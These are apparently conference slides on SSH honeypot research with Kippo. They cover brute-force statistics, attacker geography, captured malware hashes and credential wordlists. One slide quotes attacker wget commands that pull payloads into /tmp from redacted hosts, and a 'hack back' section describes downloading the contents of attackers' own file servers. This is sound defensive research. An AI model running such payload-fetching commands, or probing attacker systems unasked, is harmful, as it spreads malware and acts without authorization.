Global Honeypot Trends

Adventures with Kippo!

Elliott Brink
@ebrinkster
/usr/bin/whoami

- Elliott Brink (@ebrinkster)
- Senior Penetration Tester at McGladrey (soon to be RSM)
  - Internal Penetration Testing
  - External Penetration Testing
  - Social Engineering
- Honeypot Crazy (coworkers/friends agree)
- Available for questions after the talk if time is cramped
- Disclaimer: All words are my own and do not reflect official views of my employer
10 Second Agenda

• What is a honeypot?
• Why run one?
• My research/results
  – Initial Results
  – Study of Attackers
  – Global Trends
Honeypots: Introduction

**Honeypot:** an intentionally vulnerable or fake system designed as a trap for potential attackers.

- There is no “good” interaction with a honeypot
  - Known accepted standards
  - Outside the scope, majority of time isn’t good
  - “Just because it isn’t good doesn’t mean it is bad”
- Traditionally used on external facing side of network
  - However, usage cases do exist for internal honeypots
- Detection of attacks aside from IDS/Firewall
Why Run One?

- **Personal**: Fun (the best reason)
- **Corporate**: Detection of outside attacks aside from IDS/Firewall
  - Internal detection scenarios possible
- **Academia**: Research/Thesis
Enter Kippo

- **Kippo**: A medium interaction SSH honeypot written in Python (based on Kojoney)
- Emulates SSH login & full linux system
  - ls, cat, echo, ifconfig, wget, etc.
  - Records username/pass in MySQL
  - Records user interaction
- Original: [https://github.com/desaster/kippo](https://github.com/desaster/kippo)
However...

• For the purposes of this talk I used the original Kippo.

• Cowrie, based on Kippo with added features
  – [https://github.com/micheloosterhof/cowrie](https://github.com/micheloosterhof/cowrie)
  – @micheloosterhof
Kippo Visualization

• Kippo Graph
  – http://bruteforce.gr/kippo-graph
  – @ikoniaris

• Kippo2ElasticSearch
  – https://github.com/ikoniaris/kippo2elasticsearch
  – @ikoniaris

• Tango Honeypot Intelligence
  – https://github.com/aplura/Tango
  – Allows sending to Splunk instance
Start of the project

- January 2014
- Raspberry Pi
- Low powered device
- Perfect for single use
Customization

• /proc/cpuinfo
• /proc/meminfo
• Hostname (pick your favorite core banking product)
• Pre-logon banner
The First Three Months

- ~250,000 password attempts
- 40-10 correctly guessed root/123456 per day
Location based passwords
Not as clever as we think...
Last Hop of Attack

China: 65%
India: 15%
USA: 9%
Russia: 5%
Romania: 4%
France: 2%
User Input! (what I was waiting for)

```
wget http://[redacted]/1234/good998
wget -O /tmp/aaa http://[redacted]:334/aaa
wget -O /tmp/hen http://[redacted]:2233/hen
wget -O /tmp/hen http://[redacted]:2233/hen
wget http://[redacted]:280/360/G32
wget http://[redacted]:280/360/G32
wget http://www.[redacted].com/G32.txt
wget http://[redacted]:280/360/G32
```
“Hack” Back

Retaliation
Just Ahead
Enter HFS (or HttpFileServer vX.X Beta)
Browsing around... Hacker note taking...

• wat.
Wordlists (thanks for those...)

- 123456.com
- 123123
- idc123!@#
- 123
- aaa123!@#
- qq123.com
- 123456
- wantian##*(
- qwe123
- qwe1234
- 123qwe
- 123qwer
- 1qaz2wsx
- 1qaz
- 159753
- !Q@W#E
- 159357
- 147326
DOWNLOAD

ALL THE THINGS
Google Hack?

- Yep (and I indexed those too)
Findings

• Linux local root exploit (circa 2007-2012)
  – They login as root, and run a local root exploit...
  – Script kiddies
  – You **ALREADY HAVE ROOT** there is no root²

• Windows DDoS exe, botnet etc

• SSH backdoor perl/sh scripts

• SSH key to add to honeypot for continued access
**virus total**

SHA256: 2b810058565451673d0ac7e5855489d17a6b351d34a3a7c1b7b3f744bba205dd4

File name: server.exe

Detection ratio: 50 / 55

Analysis date: 2014-10-07 15:08:23 UTC (1 week ago)

<table>
<thead>
<tr>
<th>Antivirus</th>
<th>Result</th>
<th>Update</th>
</tr>
</thead>
<tbody>
<tr>
<td>AVG</td>
<td>Agent_r.AIO</td>
<td>20141007</td>
</tr>
<tr>
<td>AVware</td>
<td>Win32.Parte.b (v)</td>
<td>20141007</td>
</tr>
<tr>
<td>Ad-Aware</td>
<td>Win32.Parte.b</td>
<td>20141007</td>
</tr>
<tr>
<td>Agnitum</td>
<td>Win32.Parte.b</td>
<td>20141006</td>
</tr>
<tr>
<td>AhnLab-V3</td>
<td>Win32/Parte</td>
<td>20141007</td>
</tr>
<tr>
<td>Antiy-AVL</td>
<td>Virus/Win32.Parte.b</td>
<td>20141007</td>
</tr>
<tr>
<td>Avast</td>
<td>Win32:Zagost-C [Trj]</td>
<td>20141007</td>
</tr>
<tr>
<td>Avira</td>
<td>W32/Parte</td>
<td>20141007</td>
</tr>
<tr>
<td>Baidu-International</td>
<td>Virus.Win32.Parte.$b</td>
<td>20141007</td>
</tr>
<tr>
<td>BitDefender</td>
<td>Win32.Parte.b</td>
<td>20141007</td>
</tr>
<tr>
<td>Bkav</td>
<td>W32.Pirri.b</td>
<td>20141007</td>
</tr>
<tr>
<td>CAT-Quick Heal</td>
<td>W32.Parte.A</td>
<td>20141007</td>
</tr>
<tr>
<td>ClamAV</td>
<td>Trojan.Spy-80656</td>
<td>20141007</td>
</tr>
<tr>
<td>Comodo</td>
<td>Virus.Win32.Parte.gen</td>
<td>20141007</td>
</tr>
</tbody>
</table>
**SHA256:** 204071505d7955b1ad6fde0013b2d7c37c8f117f0d91429e27253371dc5a12643

**File name:** Freebsd

**Detection ratio:** 7 / 55

**Analysis date:** 2014-09-22 11:50:09 UTC (3 weeks, 1 day ago)

<table>
<thead>
<tr>
<th>Antivirus</th>
<th>Result</th>
<th>Update</th>
</tr>
</thead>
<tbody>
<tr>
<td>Avast</td>
<td>ELF:Elknot-AS [Trj]</td>
<td>20140922</td>
</tr>
<tr>
<td>ClamAV</td>
<td>Unix.Trojan.Elknot</td>
<td>20140922</td>
</tr>
<tr>
<td>DrWeb</td>
<td>Linux.BackDoor.Gates.7</td>
<td>20140922</td>
</tr>
<tr>
<td>K7AntiVirus</td>
<td>Trojan (0001140e1)</td>
<td>20140919</td>
</tr>
<tr>
<td>K7GW</td>
<td>Trojan (0001140e1)</td>
<td>20140919</td>
</tr>
<tr>
<td>Qihoo-360</td>
<td>Trojan.Generic</td>
<td>20140922</td>
</tr>
<tr>
<td>Sophos</td>
<td>Linux/DDoS-BD</td>
<td>20140922</td>
</tr>
<tr>
<td>AVG</td>
<td></td>
<td>20140922</td>
</tr>
<tr>
<td>AVware</td>
<td></td>
<td>20140922</td>
</tr>
<tr>
<td>Ad-Aware</td>
<td></td>
<td>20140922</td>
</tr>
</tbody>
</table>
**SHA256:** 204071505d7955b1ad6fe0013b2d7c37c1f170d91429e27253371dc5a12643

**File name:** Freebsd

**Detection ratio:** 7 / 55

**Analysis date:** 2014-09-22 11:50:09 UTC (3 weeks, 1 day ago)

<table>
<thead>
<tr>
<th>MD5</th>
<th>dfe1881b20175414a07b1fa070d20073</th>
</tr>
</thead>
<tbody>
<tr>
<td>SHA1</td>
<td>6a4519c271a6f545030fd571f99a564d3b1717427</td>
</tr>
<tr>
<td>SHA256</td>
<td>204071505d7955b1ad6fe0013b2d7c37c1f170d91429e27253371dc5a12643</td>
</tr>
<tr>
<td>ssdeep</td>
<td>24576:XGg0EYkENQnqDmOuNXuLQ+ypReJ7UgKz9Q0BO6wyq8lIs1x1u1rHnBFbNh1QsC2E:Wg0bkQyM</td>
</tr>
<tr>
<td>File size</td>
<td>1.4 MB (1511420 bytes)</td>
</tr>
<tr>
<td>File type</td>
<td>ELF</td>
</tr>
<tr>
<td>Magic literal</td>
<td><strong>ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), statically linked, for FreeBSD 8.4, not stripped</strong></td>
</tr>
<tr>
<td>TrID</td>
<td>ELF Executable and Linkable format (generic) (100.0%)</td>
</tr>
<tr>
<td>Tags</td>
<td>elf</td>
</tr>
</tbody>
</table>
Oh and also...

- A file containing 1000 SSH username/password
- Later found one with 5000
- And ~3 months ago found one with 80,000... Yikes.
Interesting Attackers

Google: how to use hydra

Google: how to eat your soul

or...

- Cute Winnie the Pooh
- Muscular version of Winnie the Pooh
The Script Kiddie

- Username changes
- Password is root every time...
- Hydra is hard 😞
- #YOUAREDOINGITWRONG
- This was from someone in San Francisco/San Jose.
- Success of this is debatable
- At least no account lockout?
Everything Under The Sun Attackers

- Using dictionary/dictionary
- Very noisy, going to be picked up in a heartbeat on a corporate environment (hopefully).
- Seen worse attacks, but this isn’t the best tactic...
- They need to minimize their scope

![Login failed]
Coincidence? I think not.
Better Attackers

• postgres/changeme
• postgres/postgres
• postfix/123456
• postfix/password
• ftp/password
• ftp/ftp
• ftp/admin
• mysql/mysql
The Bizarre.

• webfootedhorsef**kerphenomite/loldongs
  – Across all 9 systems in the course of a day
• If a botnet exists with this username and password, I want to buy you a drink.
• Or maybe they figured out it was a honeypot? If so well done.
More Sensors = More Data

- ~18 million password guess attempts (thus far) – ~900k unique
- More user interaction
- Broader range of attackers
Russia, China and Singapore

• Added international sensors
• Further sensor analysis designed to answer important questions:
  – Are there geographic differences in the attackers depending on country?
  – China is main aggressor for USA, is USA main aggressor for China?
  – Does anyone care about attacking Singapore? (the answer is apparently no because there are barely any attacks...)
China VPS Honeypot

• Spooky...
• Random netstat entries by default
• apt-get update;apt-get upgrade signals reinstall of the GRUB boot loader
  – Need to further investigate this, had latest version from what I could tell
• 2 IPs port scanning me every 30 seconds
  – Owned by China telecom company
  – Heartbeat across the network?
• China has strange laws about port 80
  – Need something called ICP license for port 80
  – Change HTTP to 8080 or HTTPS is apparently okay
Country Per Unique IP (China VPS)

- Note: country per unique IP
- Take into account probes as mentioned and China gets ~95%+

Percentage of Individual IPS

- China: 64%
- Hong Kong: 10%
- France: 8%
- USA: 8%
- Germany: 4%
- Italy: 1%
- South Korea: 1%
- Poland: 1%
- Turkey: 2%
- Other countries: 1%
Honorable Mentions (less than 1% of attacks)

<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>India</td>
<td>Indonesia</td>
<td>Russia</td>
<td>Malaysia</td>
<td>Netherlands</td>
<td>Spain</td>
</tr>
<tr>
<td>Cyprus</td>
<td>Taiwan</td>
<td>Thailand</td>
<td>Vietnam</td>
<td>Argentina</td>
<td>Ukraine</td>
</tr>
<tr>
<td>Tajikistan</td>
<td>Israel</td>
<td>Japan</td>
<td>Republic of Moldova</td>
<td>Switzerland</td>
<td>Tunisia</td>
</tr>
<tr>
<td>Australia</td>
<td>Bangladesh</td>
<td>Belgium</td>
<td>Brazil</td>
<td>Colombia</td>
<td>Senegal</td>
</tr>
<tr>
<td>Ecuador</td>
<td>Hungary</td>
<td>Iran</td>
<td>Lithuania</td>
<td>Mexico</td>
<td>Seychelles</td>
</tr>
<tr>
<td>Pakistan</td>
<td>Panama</td>
<td>Paraguay</td>
<td>Portugal</td>
<td>Romania</td>
<td>Slovakia</td>
</tr>
</tbody>
</table>
China VPS Interesting Item

- No initial surge in successes per day
Singapore VPS

- Very few attacks, ~600k total password guesses
- Distinct IPs: ~5600
  - As opposed to most USA systems with 13k+
- Primary Attackers
  - Hong Kong ~50%
  - Japan ~25%
  - China ~10%
  - Misc others remaining ~15%
- Interesting: 21 root password change attempts
Singapore VPS

- Separate system validates “initial surge” of successes upon hitting the internet
Russia VPS

- Decent amount of attacks, ~1.5mil total
- Distinct IPs: ~4900
- Primary Attackers
  - Hong Kong ~60%
  - Unknown IPs ~40%
  - Misc others remaining ~10%
- Gap in statistics, many IPs with no known origin
- Interesting: GeoIP spread slightly different than USA systems with Hong Kong emphasis.
What’s next?

• Guide on how to deploy a Kippo honeypot can be found on my website and will also be published on the Wall of Sheep blog
  – [http://elliottbrink.com](http://elliottbrink.com)

• Wordlist of unique passwords released to public, sometime next week (check my blog)

• More sensors across the world!
  – Australia
  – Belgium
  – UK

• Malware analysis (if you’re interested in this tweet me @ebrinkster)

• Different types of sensors
  – RDP Honeypot (began to implement some)
  – Web Application Honeypot (still on the todo)
Special Thanks

• McGladrey Security & Privacy Team
• All members of @threat_inc, particularly:
  – @waggie2009
  – @da_667
  – @Andrew___Morris
  – @brian_warehime
  – @moo_pronto
  – @ForgottenSec
• @ikoniaris
• @GrrCON
• @datapacke7
• @TheDevilsVoice
Thank You DEFCON Wall of Sheep!

• Questions?
• Tweet/Follow me @ebrinkster